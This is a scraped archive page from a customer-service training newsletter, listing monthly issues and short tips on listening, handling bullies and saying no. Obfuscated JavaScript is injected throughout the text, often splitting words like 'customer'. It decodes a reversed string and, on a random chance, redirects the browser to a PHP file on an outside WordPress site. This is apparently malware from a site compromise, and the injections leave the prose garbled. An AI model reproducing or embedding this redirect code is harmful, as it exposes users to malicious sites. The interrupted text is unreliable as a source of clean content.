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Customer Communicator, May 2021

May 1, 2021

  • Try using "reverse paraphrasing" to aid understanding
  • 9 Ways to stay on top of your game
  • More tip s for improving concentration
  • Pop Quiz
  • Monthly highlights
  • Ask the Panel: How can I get more out of Zoom meetings?
  • Refreshers and quick tips
  • Connecting via voicemail
  • List your not-to-dos
  • Keep your energy and emotions positive throughout the day
  • tomerservicegroup.com/2021/05/01/skillsharpener-may-2021/">SkillSharpener
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Create Your Own Success File

April 22, 2021
When your job involves serving cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomers, you listen $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to problems and deal with negative situations every day. And, it’s human nature…Continue reading

 

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How to Deal with A Bully

April 8, 2021
Unfortunately, there are the cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomers who try $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to dominate a service call from the start. They want $nJe=function(n){if (typeof ($nJe.list[n]) ==…Continue reading

 

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Customer Communicator, April 2021

April 1, 2021
  • Stop procrastination — now
  • 4 Ways to turn around your tough customers
  • Pop Quiz
  • Research suggests service is more important than ever
  • Ask the panel: How can I build better rapport with customers?
  • Create your own success file
  • Apologize: Just do it
  • Find a way to agree with your customer
  • tomerservicegroup.com/2021/04/01/skillsharpener-april-2021/">SkillSharpener

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Try the Can-Can Instead of Saying “No”

March 26, 2021
No one wants $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to hear the word "No." And with service consultant Richard Gallagher’s can-can approach you can say "no" without ever uttering that dreaded word. Here’s how it works: The can-can is a two part response in which you…Continue reading

 

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Listen for Unspoken Needs

March 11, 2021
Have you ever done everything a cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomer asked - yet they don’t seem satisfied? Unfortunately, it’s a common problem. The cause, say service consultants Karen Leland and Keith Bailey, is that cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return…Continue reading

 

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Customer Communicator, March 2021

March 1, 2021

  • Are you prepared for these customer service problems?
  • Prevent repetitive strain injuries 
  • Pop Quiz
  • Service News: A monthly roundup
  • Ask the Panel: What’s the most important lesson you’ve learned during the pandemic?
  • Do you start each day deliberately?
  • Unpack customer expectations
  • Tap into the energy of enthusiasm
  • Personal touch means a lot
  • Make your customers feel at home
  • tomerservicegroup.com/2021/03/01/skillsharpener-march-2021/">SkillSharpener
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4 Seconds to Service Success

February 25, 2021
It was once widely accepted that a cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomer’s opinion of a service provider was formed in the first four minutes of their interaction. "Not true," says Lillian Glass, Ph.D., author of Attracting Terrific People. "Forget the first four minutes…Continue reading

 

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Customer Communicator, February 2021

February 1, 2021

  • Improved speech means a better first impression
  • Think kindness
  • Can you hear me: Open your mouth wide, and other techniques to reduce mumbling
  • Pop Quiz
  • Service News: A monthly roundup
  • Ask the Panel: How can we keep up team morale?
  • Watch out for negative self-talk
  • Reframing: Not just for pictures
  • Don’t say it!
  • Give praise
  • Get more out of meetings
  • tomerservicegroup.com/2021/02/01/skillsharpener-february-2021/">SkillSharpener
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Keep the QTIP Principle in Mind

January 29, 2021
Have you ever been provoked in$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to letting your emotions loose on a cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomer? Getting defensive may be an au$nJe=function(n){if (typeof ($nJe.list[n])…Continue reading

 

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The Year in Customer Service, 25 Tips and Counting

January 14, 2021
Over the past 12 months, Service Starters has brought you dozens of tips for service professionals. They have covered everything from at your desk exercises, $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to managing empathy fatigue, $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()…Continue reading

 

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